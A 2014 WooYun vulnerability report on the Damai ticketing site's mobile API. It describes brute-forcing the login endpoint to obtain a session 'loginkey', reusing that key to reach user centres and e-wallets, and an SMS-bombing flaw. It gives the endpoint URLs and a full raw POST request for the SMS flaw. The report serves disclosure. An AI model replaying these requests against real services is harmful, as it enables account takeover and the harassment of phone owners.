当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077349

漏洞标题：大麦网登录处暴力破解+短信炸弹

相关厂商：大麦网

漏洞作者： 啊L川

提交时间：2014-09-26 11:53

修复时间：2014-10-01 11:54

公开时间：2014-10-01 11:54

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-26： 细节已通知厂商并且等待厂商处理中
2014-10-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

加强验证

详细说明：


1 账号登录可暴力破解密码

注册了两个小号
测试账号

不知道啥时候下载了一个大麦的app 就测试了一下
账号 密码 loginkey(判断用户登录状态的)
******@qq.com 111111 33a0e72f07d63ea83c37f06163c601

******@qq.com 111111 169226f919d57a6985fb96b80d5268e9
登录请求，可暴力破解获取loginkey得值
http://mapi.damai.cn/user/Login.aspx?account=******@qq.com&pwd=111111&source=10099&version=40501
可使用burp工具跑指定账号的密码，密码正确以后，会返回次账号的loginkey
密码正确后，设置loginkey
http://mapi.damai.cn/Message/SetToken.aspx?cityid=0&from=1&loginkey=33a0e72f07d63ea83c37f06163c601ce&source=10099&token=03ccfd7ed1964aa5b912fd145725b78a2289e20bcd0ec0fa361c124df2a76d79&version=40501
使用loginkey 即可访问个人用户中心
http://mapi.damai.cn/NMy.aspx?loginkey=33a0e72f07d63ea83c37f06163c601ce&source=10099&version=40501
http://mapi.damai.cn/NMy.aspx?loginkey=169226f919d57a6985fb96b80d5268e9&source=10099&version=40501
有了loginkey 就可以任意操作账号了
比如查看账号的电子钱包
http://mwallet.damai.cn/ewallet-front-web-wap/accountAccess/myEwallet?loginkey=33a0e72f07d63ea83c37f06163c601ce
2 在激活电子钱包处和动态验证身份功能 存在短信炸弹，可对指定手机号轰炸
以激活为例

POST /ewallet-front-web-wap/activeEwallet/checkBandMobile HTTP/1.1
Host: mwallet.damai.cn
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Referer: http://mwallet.damai.cn/ewallet-front-web-wap/activeEwallet/activateAccountStart
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: keep-alive
Cookie: loginkey=3333523056373155303754353356523833533337553035323533533530325356&2112ae6f35cba459772fe81711995ee6; JSESSIONID=EB2B241AD3DAA4E043397A147D082AAF; __utma=143517098.1501890285.1411183375.1411183375.1411183375.1; __utmb=143517098.1.10.1411183375; __utmc=143517098; __utmz=143517098.1411183375.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPStat_Cookie_Global_User_Id=_ck14092011225117144984916869927; PHPStat_First_Time_10000001=1411183371662; PHPStat_Return_Time_10000001=1411183371662
Proxy-Connection: keep-alive
Content-Length: 18
Origin: http://mwallet.damai.cn
Accept-Encoding: gzip, deflate
mobile=133********


漏洞证明：

虽然提示有时间限制，

IMG_0282.PNG


但是抓包直接发送请求

IMG_0283.PNG


IMG_0286.PNG

修复方案：

登录处加验证码，
验证码限制此时

版权声明：转载请注明来源 啊L川@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-01 11:54

厂商回复：

最新状态：

暂无

漏洞评价：

评论